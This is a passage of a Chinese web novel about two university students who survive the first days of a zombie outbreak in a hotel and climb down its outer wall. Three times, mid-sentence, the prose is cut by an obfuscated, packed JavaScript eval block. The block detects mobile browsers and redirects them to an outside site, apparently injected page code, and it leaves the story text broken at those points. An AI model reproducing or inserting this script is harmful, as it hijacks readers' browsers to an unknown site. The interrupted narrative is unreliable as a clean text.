《末日旅行手记【无限】》 1. 末日倒计时 “我怀疑,世界末日就要来了。” 临近中午,整间教室都弥漫着昏沉的空气,戏剧文学的专业课以理论为主,讲台前的教授目光呆滞地盯着幻灯片喋喋不休,语气平板僵硬,以规律的音韵和语速成功让教室中三分之二的人趴倒在桌边,堪称顶级精神攻击。 北城的夏季虽短,仍旧不可小觑。 夏末的热风顺着窗沿扑到昏昏欲睡的池遥脸上时,她听到了同桌说出的话。 压得极低的,微微发颤的声音。 池遥怀疑自己还没睡醒。 要不然,怎么会在专业课下课的前一分钟,听到舍友发出如此荒唐的感慨。 “真的假的?” 池遥扭头盯着曲卓看了足足十秒,直到对方一脸心虚地低下头去,才挪开视线。紧接着便听到前几秒发出震撼发言的曲卓欲盖弥彰地嘟囔一句:“一种直觉,你不懂。” 曲卓:…… 不是,这有什么可称得上是直觉的?如果说出这话的是个陌生人,池遥会毫不留情地开口叫对方去精神科找个医生看看,但面对自己最好的朋友曲卓,她却说不出这种话。 下课时间一到,教授立即宣布下课,成为第一个走出教室的人。池遥和曲卓随着下课去食堂的人流一路离开教学楼,然而,到了十字路口处,池遥却拉住想跟随人流的曲卓,转身带着对方朝校门走去。 “不去食堂了?” 面对曲卓的疑问,拉着曲卓的池遥倒是一副气定神闲的模样,悠然开口。 “走吧,吃肘子去。” “啊?” 很多时候,曲卓是没办法跟上池遥抽象的脑回路的。 都世界末日了还吃什么食堂?咱们吃大肘子去!” 池遥和曲卓口味一致,无肉不欢,往日里但凡有天大的事,只要去校外大学路的冰糖肘子店吃一顿肘子,就算不得什么大事了,池遥本以为这次也一样,然而令人胃口大开的冰糖肘子,这一次并没有打消曲卓的担忧。 —— “如果真的有世界末日这回事就好了,这破专业课我真是一秒钟都不想上了。” 半个月后,池遥趴在课桌边吃力地理解教材上天花乱坠的文字,明明是易于理解的象形文字,排列组合起来却让人一窍不通,枯燥的知识与不知所言的内容结合,让她想到时下流行的游戏内容:“让我们说中文”。 所谓的世界末日,和专业课挂科比起来还有什么可怕的。 身边的曲卓听到了她的抱怨,轻嗤一声,拍了拍池遥的肩膀以示安慰。 过去的半个月如梦似幻。 池遥与半个月前毫无变化,依旧每天天亮才睡,和她的小床不离不弃,黑眼圈如同半永久妆容般镶嵌在眼底。除了去教室上课,这位摆烂大师剩下的时间都窝在宿舍里打游戏,唯一一个能驱使她主动出门的只有校外大学路的冰糖肘子。 然而曲卓的变化却有目共睹。 在曲卓发表耸人听闻的末日言论的第二天,池遥通宵打游戏到凌晨五点,从床帘中探出头时,却惊讶地发现双休日一向睡到自然醒的舍友曲卓,居然破天荒早起了! 星期六的凌晨五点,整座宿舍楼都陷入沉睡的时间点,曲卓换上一身运动外套,整个人打扮得干练利落,与池遥印象里那个温柔亲切的舍友大相径庭! 其他舍友依旧在睡梦当中,池遥对上曲卓的眼神,怕打扰到其他舍友,只好用气声询问。 “这么早?” 曲卓点点头,双手攥拳,双臂弯折在胸前,前后摆动两下,同时放慢语速对曲卓做口型。 “跑步。” 池遥:啊? 天塌了地陷了,太阳从西边出来了,她有生之年居然看到曲卓主动跑步了。 说完这话,曲卓尤嫌不够,朝着池遥挥了挥手中的手机,池遥顿时会意,打开手机屏幕,消息栏直冲眼底的四个大字却更加令她震撼。 曲卓:【你不去吗?】 池遥大为震惊。 消息界面的四个大字简直让池遥怀疑曲卓被不知名人士夺舍了,她扫一眼手机,又扫一眼曲卓一脸平静的面容,回复了一张地铁老人看手机的表情包。 池遥:【我为什么要去?】 曲卓的身影消失在寝室时,池遥仍旧处于震惊状态中久久无法出神,堪比曲卓本人出场为她上演了一出陌生化效应,让她惊觉曲卓或许还有不为人知的另一面。 然而,事实证明,早起跑步只是曲卓蜕变的第一步,当天下午,当池遥朦胧中从睡梦中醒来时,看到的是宿舍中一个陌生又熟悉的短发身影。 池遥的三位舍友清一色全是长发,她还在纳闷是谁,结果当短发的人影回过头时,与池遥对视的是分外熟悉的,属于曲卓的脸。 此时浮现在池遥脑海中的第一想法是—— 世界末日不会是真的吧? 不然她根本想不到曲卓有什么理由将一头及腰长发变成清爽的一刀切短发。 就这样,短短半个月过去了,池遥眼睁睁地看着原本与她一同做躺平咸鱼,以往跑八百米和送命无异的曲卓,每天早上五点雷打不动起床晨跑两个小时,昔日的柔弱脆皮大学生曲卓已经变成了可靠的模样。 池遥起初将曲卓的变化归功于对方曾经随口提到的世界末日,为了给曲卓脱敏,她每天跟在曲卓身边,时不时就提起世界末日四个字,默默观察她的反应,又或者装作超不经意给曲卓讲她在末日小说里看到的故事情节,试图让对方放心。 半个月下来,曲卓看不出任何异样,池遥反而形成了连锁反应,一进入学习状态,脑海中就弹出了世界末日四个大字。 仔细想想,世界末日也完全不可怕嘛,如果末日真的降临了,她就不必每天对着看不懂的教材影像PPT发呆,不必担心学分和绩点,几年后要担心的考研考公也和她毫无关系了,只要想到就发愁的就业入职相亲结婚都将统统离她远去。 “世界末日快来吧。” 趴在课桌上做一条瘫软咸鱼的池遥垂死病中惊坐起,双手合十,衷心祈愿。 回应她的是身边记笔记的曲卓蜷起食指,用坚硬的指节不轻不重地敲她的头。 “敲我头干嘛呀?” 被敲头并不很痛,池遥夸张地再次趴倒在桌上,狼狈抱头,小小声抱怨。 “听听看能不能敲出水声。” “喂!” 接踵而至的十一假期为忙碌的大二生活提供了片刻喘息,池遥和曲卓本想趁稀有的小长假结伴旅行,但北城突如其来的寒潮预警与骤降至个位数的气温将她们的美好期望扼杀在摇篮里。 和另外两位舍友不同,曲卓和池遥都是北城本地人,离开寝室回家的路上,池遥听到曲卓忧心忡忡的声音。 “最近的天气越来越奇怪了。” 身旁的曲卓双眉紧蹙,凝视着手机屏幕的面容有一种难以言说的忧虑感。 心大的池遥倒觉得她想多了。 “毕竟是北方城市呀,以往不也是这个气温吗?” 她的话并没有安慰到一旁的舍友,反而让曲卓脸上的忧虑更明显了几分。 “降温了也不是什么坏事,你想呀,今年降温早的话,冰雕雪雕开放的时间也早,旅游业又能大赚一笔,也算是件好事嘛。” 曲卓不再开口,神色黯然。 旅游计划虽然被取消了,但二人最终还是约定好在小长假的最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957413|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两天,在北城市内来一场市内旅行。 池遥对此兴致勃勃,提前选好了二人下榻的酒店,小长假的最后一天按理来说是返校日,但由于第二天两人都没有早课,宿管查得不严,于是也订了返校日当晚的酒店。 反而是一开始提出旅行计划的曲卓显得心不在焉。 两人在打卡一家网红餐厅时就是如此,池遥从柜台点餐回来,空荡荡的座位上放着二人的包,却不见曲卓的人影。 池遥环视一周,才发现,不知为何,曲卓已经坐在了隔壁桌的位置上,与隔壁的三人攀谈起来。 奇怪的是,两桌距离不远,池遥能清楚看到几人的嘴巴一张一合,却听不见丝毫声响。 许是因为食客爆满的缘故,这家餐厅内并不安静,池遥能清晰听到其他桌客人的声音。 唯有曲卓所在的那一桌,什么声音都没有传进池遥的耳朵里。 仿佛在她和曲卓之间搭建起了一堵看不见的隔音墙,将她们两人分隔在店铺两边。 嘈杂的餐厅里,池遥清晰地听到了一声颤抖的吐息,过了两秒才反应过来,那是她自己的声音。 心脏仿佛被一只大手紧紧攥住,她强迫自己移开视线,强装镇定,看向其他客人的方向。 就没有一个人发现不对劲吗? 只有她一个人……如此恐慌吗? “怎么这个表情?” 曲卓的声音将池遥的意识拉扯回现实。 不知什么时候,她已经回来了。 身边的一切再度恢复了正常运转,她们的餐品被依次送上桌,刚刚仿佛被全世界抛弃的感觉消失了。 池遥在心底无声地松了一口气。 “好奇怪,我看到你在和隔壁桌聊天了,但没听到你们说话的声音。” 她试探着提起。 “是吗?”曲卓面上一派淡然,“可能被其他声音盖过去了吧。” 算了。 池遥在心里叹了口气。 这只是一件小事。 曲卓虽然对订酒店等事心不在焉,可是到了景点,她却看得十分认真。 天气实在太冷,二人的行程集中于室内,多是博物馆,美术馆等地。 曲卓看得很慢,每一件展品都要完完整整把介绍从头看到尾,简直是拿出了诀别的气势,倒显得一旁走马观花的池遥显得不认真了。 小长假的最后一天,展厅内的游客并不多,很少有人能耐心地将每一件展品介绍看完。 池遥逛完第一间展厅,曲卓刚看完一半展品,于是池遥索性来到曲卓身边,顺应曲卓的阅读速度,陪着她再次将每一件展品仔仔细细看一遍。 色泽柔润,如同蒙上一层雾气的瓷器,质地清透的玻璃制品。 池遥第一次如此细致地观察一件文物,从字里行间了解展柜中器物的用途出处,挨个辨认器物的纹样质地。 离开博物馆时,天色已经彻底暗下来了。 “我觉得我们寒假可以再去参观一次。” 最后意犹未尽的反而是池遥,她拉着曲卓的手,说出这句话之后才发现曲卓的神色有些许异样。 天色太暗,她明明离曲卓那么近,却无法看透曲卓的神情,仿佛在她的面容之上附了一层阴霾。 但某个瞬间,池遥贫瘠的脑海中闪过一个词。 怜悯。 如果要用一个词汇形容曲卓复杂的神色,这是最为贴切的词语。 这一晚,连池遥都被曲卓带动得闷闷不乐,虽然她的沮丧情绪主要来源于即将告别的长假,逛了一天博物馆的疲惫驱使她早早进入梦乡。 凌晨四点。 一声尖利的嚎叫撕破了平静的夜。 2. 末日降临1 “池遥!快醒醒!” 池遥是被曲卓叫醒的。 不知为何,明明是叫起床的人,曲卓的嗓音却压得极低,神情分外严肃,活像大一时看晚自习的导员。 房间里没有开灯,厚重的窗帘将窗户遮得严严实实,屋里一片黑暗,根本无法辨别具体时间。 “几点了?” 池遥习惯性去看戴在左手手腕上的智能手表,此时不过早上七点,明明没有早课,曲卓居然早早叫她起床。 “不用这么早叫我起来吧?不是下午才上课吗?” 这么说着,池遥就要往被子里钻,一只有力的手却按住了她的肩膀。 准确地说,这只手如同铁钳一般,死死扣住了她的肩膀,阻止她躺下的动作。 池遥的目光顺着这只手慢慢上移。 手腕下的淡青色血管轮廓十分清晰,手臂上半部线条隐约可见,带着蓄势待发的力量感。 这是一条十分有压迫感的手臂。 曲卓的表情从未如此严肃过,往日里总带着笑意的圆眼此时泛着锐利的光。 曲卓的手什么时候变得这么有力了? 池遥与她对视几秒。 “曲卓,你什么时候背着我健身了?” “不会吧卷王,每天早起跑步就算了,你居然还背着我偷偷泡健身房!” 一个月过去了,曲卓仍然跟不上池遥的脑回路。 池遥说这话也带着缓和气氛的目的,音量比刚才大了不少,话音刚落,就听到了门外走廊传来了极为沉重的脚步声。 脚步声并不快,仿佛在地面上拖动着什么重物一般,夹杂着极为沉重的喘息声,隐约还能听到低沉的吼叫声,不像是动物的声音,但也不可能是人类能发出的声音。 池遥这下不困了,轻手轻脚地从被窝里爬出来,踮着脚小跑到客房门口,将眼睛对准了镶嵌在房门中心的猫眼。 不知为何,酒店走廊也没有开灯,借着走廊窗户透进来的天光,暖黄色的墙纸上晕染了大团大团暗红色污渍,在正对猫眼的墙壁上狰狞地铺开。 深色的地毯看不出端倪,但颜色似乎比昨天更深了些。 脚步声越来越近,紧接着,一团蠕动的鲜红闯进了池遥的视野。 它离得太近,池遥看不清全貌,视野一下子被一大团猩红烂肉占满,从门外缓慢走过的人形生物,身体在腰部被一个横向裂口穿透,撕裂的皮肉袒露在外,上半身朝一侧歪倒,几乎没有一块好肉,皮肉裹不住的内脏随着它的行动摇摇欲坠,尽管如此,它的双腿依旧以缓慢的速度挪动,拖动着晃晃悠悠的上半身,从池遥的门前走过。 从门边走过时,它的上半身时而撞到大门,池遥紧贴着大门,能清晰感知到身前的门被它撞出一阵微小振动,又被门内的她竭力平息下来。 他们只隔着一扇薄薄的门。 一只手从脑后伸过来,紧紧捂住了池遥的嘴,池遥这才后知后觉地想到,如此恐怖的场景,她应该第一时间尖叫才合情合理。 然而,当她亲眼看到猫眼后的景象时,过载的大脑直接宕机,直到曲卓的另一只手扶住了她的肩膀,好友温热的,属于人类的热度从她的掌心传递到大脑时,池遥才终于从恍惚状态中挣脱。 不知何时,双腿已经无力支撑身体,她顺着门板瘫软在地,紧贴着门板,还能听到那个东西挪动脚步的踢踏声。 曲卓的手一直没有离开她的脸,饶是池遥一直没有出声也不曾放手。 不知过了多久,池遥才扶着门板,颤颤巍巍起身,曲卓也适时放开手。 “那是什么?” 这一次,不用曲卓提醒,池遥已经自发地用最小音量开口了。 “会动的尸体?活着的尸体?” 曲卓没有回答她的话,房间里只剩下池遥自问自答的声音。 “丧尸?” 曲卓苦涩地点头。 得到肯定答案,池遥反倒不知道该说什么了。 紧接着,她突然冲到窗前,揭开一小块窗帘,透过窗户玻璃的缝隙观察着窗外的情况。 他们所住的客房位于酒店四楼,因此,透过玻璃,她清晰地看到了窗外的情况。 窗外的街道上没有人影,但目之所及均是大片的血迹,反倒显得更加可怖。 在距离酒店大门不远处,一个浑身包裹得严严实实的人躲在花坛后,他原本躲藏得天衣无缝,但却不停支起上半身朝着酒店的方向探头探脑,似乎想要进酒店里避难,又犹犹豫豫不敢动身,他还没来得及行动,从窗户的视线死角处就窜出了一头丧尸,扑到了他的身上。 池遥猛地拉上窗帘。 接下来的场面她不敢看,只要想到就觉得胃部一阵翻涌。 曲卓神色平静地坐在床边,她刚才并没看到窗外的景象,但她的神情却仿佛昭示着,池遥此时看到的情景,她再清楚不过了。 对于池遥而言突如其来的悲剧,对于曲卓来说却仿佛是注定上演的戏码。 池遥沉默了一会儿,忍不住再次掀开窗帘窥探街道上的情况,此时的大街上游荡着几只丧尸,裹得严严实实的人也加入了丧尸的行列,他终是没有逃过丧尸的攻击。 再看下去也无济于事,池遥拉好窗帘,来到曲卓身边,看到曲卓正在用手机给手机内的联系人发消息。 在池遥刚才发愣的时间里,曲卓还解锁了池遥的手机,给所有的联系人群发了好几条消息。 手机信号闪烁个不停,池遥不知道网络信号还能维持多久,然而一看手机却无比失望,池遥的社交媒体有几百名联系人,然而只有几个人回复了消息。 池遥简单编辑了丧尸的情况发给确认存活的朋友,指尖在置顶消息栏反复摩挲。 她的父母并没有回复消息。 这么紧急的情况,她好想给父母打个电话确认二老的情况,然而顾及到外面的丧尸,她又担心父母的电话铃声会为他们带来灾难。 不仅如此,此时还有更为重要的事。 “曲卓。” 一瞬间,池遥竟然不知道该如何开口,面对自己最好的朋友,却要说出诘问的话语。 “你是不是……早就知道了?” 从一个月前曲卓说起那句话开始,是不是就预见到了今天的一切? 此时,再次回想起一个月前曲卓的种种反常举止,一切都有迹可循。 “我其实知道得并不比你早多久。” 曲卓终于抬起头,与池遥对视,此时池遥才发现,曲卓的脸色煞白,眼底满是红血丝,曲卓的脸色并不比她好看多少。 “接下来我要告诉你一件事,池遥,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957414|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对你而言可能十分荒诞,但一定要相信我。” 池遥点点头。 “一个月前,我觉醒了异能力。” “什么?” 丧尸的出现已经足够离谱了,曲卓的话却更要荒谬十倍! “我都说了这件事可能有点荒诞了。”曲卓叹了口气,随即正色道:“池遥,我想说的是,我并不是一个例外。” “这一个月以来,我到处搜集资料,得到的结论是,一个月前,和我同时觉醒能力的人非常多,这些觉醒能力的人,自称天赋者。” “而世界末日也是从这些人口中流传出来的,不过我也有一些预感,或者称之为直觉?好像从我觉醒了能力开始,世界末日就变成了一个已知未来会发生的事实。只不过我们不知道这个事实什么时候会发生。” 这些池遥并不是很在意,她最在乎的是另一件事。 “所以你的能力是什么?方便说吗方便说吗?” 曲卓哭笑不得的看着兴奋的池遥,池遥此时正用小孩子看心爱玩具般闪闪发亮的眼神注射着她。 “没什么不方便的,但我现在还是没有搞清楚这个能力具体有什么用。” 说着,曲卓朝着池遥探身。 “看我的眼睛。” 曲卓是学校里知名的美女,五官端正大气,一双黝黑的圆眼明亮有神,池遥凝视着她的眼睛,忽然之间发现她的右眼中似是有一道红光闪过,转瞬之间便恢复正常了。 “就是这样。” 曲卓身体后倾,与池遥恢复了正常的社交距离。 池遥点点头,刚刚兴奋的心情立刻冷却了下来。 即便曲卓觉醒了异能力,但对于外面的丧尸而言,她依旧对丧尸构不成什么威胁。 她们依旧是两个手无寸铁的普通人。 曲卓倒还好,好歹曲卓坚持锻炼了一个月,如今看来小有成效,然而池遥弱得简直一击就倒,跟在曲卓身边只能给曲卓帮倒忙。 接下来要去哪里,该怎么活下去,她没有任何头绪。 “接下来我们怎么办?” 最终,她只能寻求曲卓的意见。 “别担心。”曲卓看穿了池遥的无助,“前几天假期的时候,我和几位本市的天赋者见了面,交换了联系方式,我刚才就在和他们联系。” 二人昨晚入住的酒店是家风评不错的连锁酒店,客房内的饮料和零食应有尽有,甚至还有桶装泡面,末日前这些食物都是额外收费项目。她们暂时还不需要为食物着急,但留在酒店里终究不是长久之计。 门外时不时还是会响起拖沓沉重的脚步声,那个自腰部断成两半的丧尸依旧在这一楼层走廊上反复徘徊,尽管知道它进不来客房内,池遥和曲卓还是合力搬起房门不远处的书桌,堵住了门。 接下来的时间,池遥在酒店里翻箱倒柜,将所有能利用的物品都堆在床上,曲卓依旧在和认识的天赋者发消息沟通,只是蹙眉的频率越来越快。 池遥知道,手机能接收到的网络信号越来越差了,说不定再过几个小时,就要彻底陷入无网络状态了。 幸好,没过一会儿,曲卓就抬起了头,眼睛里闪烁着兴奋的神采。 “搞定了,池遥,有一伙天赋者正在到处救人,他们说明天中午十一点准时开车来酒店门口接我们!” 3. 末日降临2 早上十点。 确定了明天会和一队天赋者汇合,二人的心情却并未因此轻松下来。 她们此时位于客房四楼,四楼走廊中的丧尸先不提,酒店断电的情况下,电梯无法运行,明天只能走消防楼梯下楼。 然而,她们的客房在电梯正对面,四楼走廊入口处,贴在门后的避难路线图上显示,酒店的楼梯在走廊另一侧,她们要穿越整条走廊才能到楼梯口,不仅如此,下到一楼后,还要再次穿越一楼的走廊和餐厅才能到达酒店大堂。 她们入住的酒店物美价廉,人流量不小,此时这栋酒店大楼不知道潜伏着多少丧尸,如果不制定计划,明天直接出门的话,恐怕还没走到楼梯口就变成丧尸了。 但如果能提前出门探路呢? 再大胆一点,如果可以提前清除必经之路上的丧尸呢? 可是丧尸又该怎么杀死?毕竟从客观上来说,它们已经是“尸体”了。 就像游荡在走廊里的那只丧尸一样,它明明已经被腰斩,身体都从腰间断开了大半,却依旧活着。 池遥看向身旁的曲卓。 她们已经站在门后对着避难路线图发呆了好几分钟,期间没人说话,隐约还能听见丧尸在走廊里游荡的声音。 “我们得去走廊上看看。” 感受到池遥的目光,曲卓低声开口。 “去到酒店大堂的路太复杂了,至少要提前探探路,我们还不知道这家酒店里有多少丧尸。”说着,曲卓侧过头看向池遥,目光在池遥瘦弱的身板上停顿片刻,“我先出去看看,你在客房里等我,我很快就回来。” 说着,曲卓穿上外套,又用酒店内赠送的免费毛巾围住了下半张脸和脖子防止被咬,抓起一把木制衣架,走到了门口。 二人再次将堵在门口的书桌搬回原位,曲卓示意池遥躲远,才握住门把手,朝下一扳。 在开门前,曲卓一直注意着门外的动静,等走廊的丧尸走过门外,才谨慎地开了门,然而在开门的同时,一道尖利的电子声响起。 “滴滴滴滴滴滴……” 连接着客房大门的电子门锁发出了嘈杂的电子音。 一片死寂的走廊内,突然响起的声音直接传进了丧尸的耳中。 “吼!” 紧接着,曲卓就听到了震耳欲聋的吼声,她急忙关门,然而智能门锁锁门有几秒延时,丧尸直接扑撞在门板上,曲卓一时不察,丧尸的小半个身体已经顺着撞出的门缝挤进了门内。 和池遥早上看到的模样相比,它此时又有了新变化。 一身血迹变得乌黑,黏在它的上半身,早上看见时还在蠕动的血肉此时已经彻底变成了腐烂的死肉,未被血污覆盖的皮肤呈现出好似尸体被泡了几天几夜的惨白,浑身散发出令人作呕的腥臭味。 曲卓一手握着门把手,用身体抵着门,动弹不得,另一只手奋力挥动衣架,试图将它驱赶出门外,却无济于事。 “滴滴滴滴……” 被撞开的大门上,智能门锁再次发出催命似的电子音。 半个身子挤进门内的丧尸,身体剧烈挣扎着,带动大门也在不断震颤,嘴巴张开到常人无法想象的地步,不停做出撕咬的动作,发出恶心的“哧哧”声,嘴巴张合之间涌动出的腥风扑到曲卓的皮肤上。 “曲卓!” 压低的惊呼声从身后传来。 曲卓无暇向后看,她听到了池遥朝这里跑来的声音,一条椭圆形的不锈钢管从她眼前掠过,狠狠戳进了丧尸的眼眶! “吼!” 池遥用尽了力气,却依旧没能杀死丧尸,丧尸发出了更为愤怒的吼声,但曲卓却敏锐地观察到,被戳穿眼眶的丧尸动作迟滞了一秒。 “抵着门!” 抓紧这个机会,曲卓冷喝一声,握紧还连在丧尸脸上的钢管,用尽全身力气,猛地一捅! “噗嗤!” 金属穿破血肉的声音令人头皮发麻,曲卓这一个月的锻炼成效显著,手下的钢管穿透眼眶,从丧尸的后脑出来,贯穿了丧尸的脑子! 血液飞溅。 终于,丧尸不再动作,倒在地上,彻底没了声息。 看来丧尸的弱点是脑袋。 只要捣毁丧尸的脑袋,就能彻底杀死丧尸。 曲卓和池遥趁机合力关上门,直到电子锁声音停止,才松了一口气。 然而,刚刚电子锁的声音和她们的打斗声还是吸引了一群丧尸,她们费尽全力消灭了一个丧尸,门外的走廊内却多了好几道属于丧尸的脚步声。 这些丧尸在刚才门开的时候循着门锁声来到了四楼,此时声音平息,他们再次恢复了迟缓的行动,在走廊内来回游荡,但池遥和曲卓知道,这些丧尸对声音格外敏感,只要她们再次开门,门锁声再次响起,它们会以比刚才还快的速度扑到门口。 关上门后,曲卓才意识到,她们贯穿丧尸脑袋的细钢管,是池遥刚才从酒店衣柜内拆掉的挂衣杆。 尽管池遥的力量有限,胆量不大,但她面临危险时的反应却比任何人都快。 “客房门锁怎么还会响啊?不是断电了吗?” 曲卓从未想过她们逃离酒店最大的阻碍竟然是智能门锁。 酒店的智能门锁在开关门时会发出电流声一直都是很正常的事,然而在末日里,任何声音都有致命的可能。 “智能门锁好像一般都是装电池的。”池遥想到自家的门锁也是差不多的构造,“怪不得整栋楼都停电了,但门锁还在工作。” 这下,离开酒店变得更加困难了。 曲卓一边用纸巾擦拭溅在皮肤上的血迹,一边继续看路线图,丧尸的血液是诡异的漆黑,气味如同变质的肉类,令人作呕。 而池遥则来到窗边,拉开一点窗帘,对着窗外不知在思考什么。 “曲卓,你说,我们直接从四楼跳下去的话,会死吗?” 曲卓来到池遥身边,目光上下打量了池遥一番,又和她一同看向窗外。 对于客房而言,四楼已经算是低层了,从四楼窗户向外望,街道上发生了什么都一清二楚,的确会让人产生“四楼不高”的错觉。 “我不是在开玩笑。”池遥补了一句,手指指向窗外,“我是觉得,来接我们的人不是到酒店正门吗?酒店正门就在我们窗户下面啊。” 的确,这家酒店的电梯就在大堂进门处,二人的客房正对电梯,也就是在大堂正上方,酒店的大门就在客房窗户的正下方。 “这个高度,恐怕没办法跳下去。”曲卓理解了池遥的用意,拉开一些窗帘,离近了窗户看向酒店外墙侧面。 “但你看,每个窗户外侧都有窗沿可以落脚,斜下方是空调外机连着管道,我们可以踩着空调外机从外墙爬到二楼空调外机,然后再跳下去。” 从窗户没办法直观地看到酒店外墙的全貌,只能调整角度勉强看到一些,但酒店每层楼布局一致,房间排列整齐,爬墙这个办法听上去荒谬,细想之下居然还有几分可行性。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957415|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比起跟着避难路线图走楼梯到酒店大门,明显是爬墙更方便快捷。 然而,在高空中攀爬酒店外墙说起来容易,要克服心理压力却很难,池遥的手死死攥着窗帘,一想到明天要用那么危险的方式离开,心里的抵触感就不由地作祟。 手中的窗帘是两层的,池遥脑中划过一个念头,立刻扭头看向窗帘。 她们所在客房是两片式窗帘,共有两层,内部是夏季纱帘,外部是厚重的遮光帘,洗手间的窗帘也是相同构造,如果把这些窗帘拧成绳索连在一起,长度足以顺窗户垂到街道地面。 心中的恐惧感终于被驱散大半。 接下来的整个下午,两人各吃了一桶泡面,再度地毯式搜罗酒店内可用的物品,这一次池遥甚至拆卸掉了电视遥控器内的电池。 网络信号距之前更差了,但并未完全断开。从中午开始,池遥的消息栏就再也没有任何人发送消息了,父母的消息界面还是一片空白,池遥最后给父母发了两条消息,将自己的手机关机。她的智能手表还能坚持续航近一个月,代替手机承担了闹钟功能,而曲卓的手机还要与其他天赋者联络,池遥将自己的充电宝贡献出来给曲卓使用。 末日的第一天,就这样有惊无险的过去了。 第二天上午十点五十五分。 一辆沾满血污的面包车,提前了五分钟到达了酒店大门口。 车辆行驶的声音吸引了不少丧尸,但车内的人并未下车,丧尸们在车附近徘徊了一会儿,又迟钝地四下游荡了。 车内的人抬起头,视线精准捕捉到酒店四楼的一面窗户被打开,一条由不同质地的窗帘打结制成的绳索顺外墙下垂。 紧接着,一个身形高挑,气质沉稳,背着双肩包的短发女生双手紧握着绳索,从窗内爬了出来。 她的动作略显生疏,但十分大胆,沿着窗沿几步挪到边缘,一只脚向下蹬,稳稳落在了位于四楼和三楼中间的空调外机上。 曲卓自告奋勇第一个爬出窗外,池遥趴在窗边,直到曲卓站在空调外机上朝她挥手,才深吸了一口气,爬到窗外。 寒潮尚未结束,凛冽的寒风刮擦过她的脸颊,在双脚踩在窗沿边的那一刻,池遥才产生了置身室外高空的真实感。 双腿不受控制地打颤,根本无法挪动,全身仿佛都在寒风里被冻结,无法再有任何思考和行动。 明知不可以,但视线就是不听话地瞟向脚下,脚下的窗沿不过二十厘米宽,短暂停留还好,但若是站立不动,恐怕根本无法承载她的体重。 “池遥!” 曲卓的催促声从斜下方传来。 一只脚颤颤巍巍地抬起,机械地朝旁边挪动。 她迈出了第一步。 当脚下再次被窗沿抵住时,池遥才如释负重地探出一口气。 还活着。 耳边断断续续传来好友的声音,曲卓的声音不大,指导她该如何下脚,池遥跟随着曲卓的指引,终于下降到了三四楼之间的空调外机上。 微小的成就感终于驱散了些许恐慌,但池遥再次落脚踩住三楼窗沿时,行动就变得灵活了起来。 就这样,曲卓成功落地,而池遥站在二楼的窗沿边,另一只手紧握绳索,只差一步就可以安全到达地面。 池遥忽然停住了。 二楼客房的窗户没有拉窗帘,此时,隔着玻璃,有一只丧尸正在与她对视! 下一秒,窗户被丧尸打碎,一只干瘪的手死死抓住了她的肩膀! 4. 末日降临3 池遥是第一次与丧尸离得这么近。 昨天曲卓被丧尸缠住时,她虽然冲上来帮了忙,但归根结底还是曲卓亲手杀了丧尸,池遥并没有积攒对抗丧尸的经验。 而此时,她悬在二楼的窗沿边动弹不得,丧尸的指甲刺破厚重外套直接按进了皮肉,鲜血淋漓的大嘴近在咫尺,她几乎预见到了自己的结局。 像她这样弱小的普通人,如果没有曲卓,早就该在末日降临的那一刻丧命了。 “池遥!” 曲卓的喊声仿佛从很遥远的地方传来。 一切只发生在不到一秒的时间内。 视野里闪过一道刺目反光,有什么物体划破气流,穿透了面前丧尸的身体,转眼间就砍断了丧尸的手臂,变故发生得太快,丧尸的断手还连在她的肩膀上。 “快走!” 池遥不敢耽搁,用生平最快的速度挪动到边缘,跳到下方的空调外机上,才松了一口气。 酒店一楼的举架远高于其他楼层,二楼和一楼之间的空调外机距地面还有一段距离,情况紧急,池遥心一横,攥紧绳索直接顺着绳索滑向地面。 好在这一次顺利落地,池遥用力将连在肩膀上的丧尸手臂扯下来,丧尸的指甲已经深埋进皮肉之下,动作之间,整个肩膀处的皮肉都被搅动着外翻,将手臂拔出来时,肩膀上已经开了一道大口子,从里面的衬衫到厚外套全部被鲜血浸透。 池遥痛得五官模糊,抬头看到二楼窗口的丧尸已经被割断了脖子,刚刚将她从丧尸手下解救下来的物品以比刚才缓慢不少的速度飞回她附近,池遥才看清楚,那是一块半个手掌大小的玻璃碎片,或许是因为刚刚杀死丧尸,玻璃上沾满了颜色乌黑的丧尸血,简直像是从血肉里捞出来的一样。 玻璃片越过她,飞到站在她身后不远处的一个青年手中,在他手指夹着的手帕中滚过一圈,顿时变得干净了。 青年抬起的这只手,掌心有一条横贯整个掌心的巨大伤口,玻璃片穿过掌心外翻的血肉,缓慢地嵌入青年掌心的伤口中,与青年融为一体,看得池遥咬紧牙关,仿佛一同感受到异物没入血肉的剧痛。 而手掌的主人却面不改色地将一段护腕穿过虎口缠在手上,遮挡住了掌心诡异的伤口和不知去处,仿佛与他的手融为一体的玻璃片。 